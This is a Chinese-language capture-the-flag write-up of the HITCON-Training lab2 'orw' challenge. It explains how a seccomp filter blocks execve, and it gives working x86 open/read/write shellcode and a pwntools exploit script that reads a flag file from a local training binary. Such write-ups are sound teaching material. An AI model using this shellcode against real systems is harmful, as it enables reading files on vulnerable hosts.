HITCON-Training-master lab2 wp

2018-05-09  本文已影响14人  zs0zrc

查看了下防护机制

image.png

发现它没开启nx,所以可以向内存中写入shellcode执行
简单跑了一下程序,发现输出了一句话:give me you shellcode
ida反编译:

image.png

代码逻辑也很简单,你输入一段shellcode,然后去执行它
我随便去网上找了一段shellcode,输入后发现不行,说明它不是单纯的让我们输入shellcode

查看了一下orw_seccomp()函数

image.png

里面有个prctl()函数,查了一下它的作用:
prctl()是用来控制进程的系统调用
在这里它限制了进程使用某些系统调用 ,所以我们不可以通过execve的shellcode来获取flag
这里我们通过 open(),read(),write()三个函数的系统调用来获取flag,这三个函数的调用参数可以在syscalls上查到

open() :eax->0x5 ;ebx->(file_name_string);ecx->(flags 访问权限) ;edx->(mode如果创建新文件,则包含表示UNIX权限的整数值)
read(3,file,0x30): eax->0x3;ebx->(fd 文件句柄 0x3) ;ecx->(files_name_string) ; edx->(count 读取长度)
write(1,file,0x30):eax->0x4;ebx->(fd 文件句柄  0x1) ;ecx->(files_name_string) ; edx->(count 输出长度)

汇编代码:(intel风格)

xor ecx,ecx  
mov  eax,0x5  
push ecx  
push 0x67616c66 (flag的十六进制形式,因为是小端法存储所以要倒过来)  
mov ebx,esp  
xor edx,edx  
int 0x80  
  
mov eax,0x3  
mov ecx,ebx  
mov ebx,0x3  
mov dl,0x30  
int 0x80  
  
mov eax,0x4  
mov bl,0x1  
int 0x80  

exp:

#!/usr/bin/env python  
# -*-: coding: UTF-8 -*-  
from pwn import*  
p = process('./orw.bin')  
shellcode = '''
xor ecx,ecx 
mov eax,0x5 
push ecx 
push 0x67616c66 
mov ebx,esp 
xor edx,edx 
int 0x80 

mov eax,0x3 
mov ecx,ebx 
mov ebx,0x3 
mov dl,0x30 
int 0x80 
 
mov eax,0x4 
mov bl,0x1 
int 0x80 
'''  
payload = asm(shellcode)  
p.recvuntil(":")  
p.send(payload)  
p.interactive()  
上一篇 下一篇

猜你喜欢

热点阅读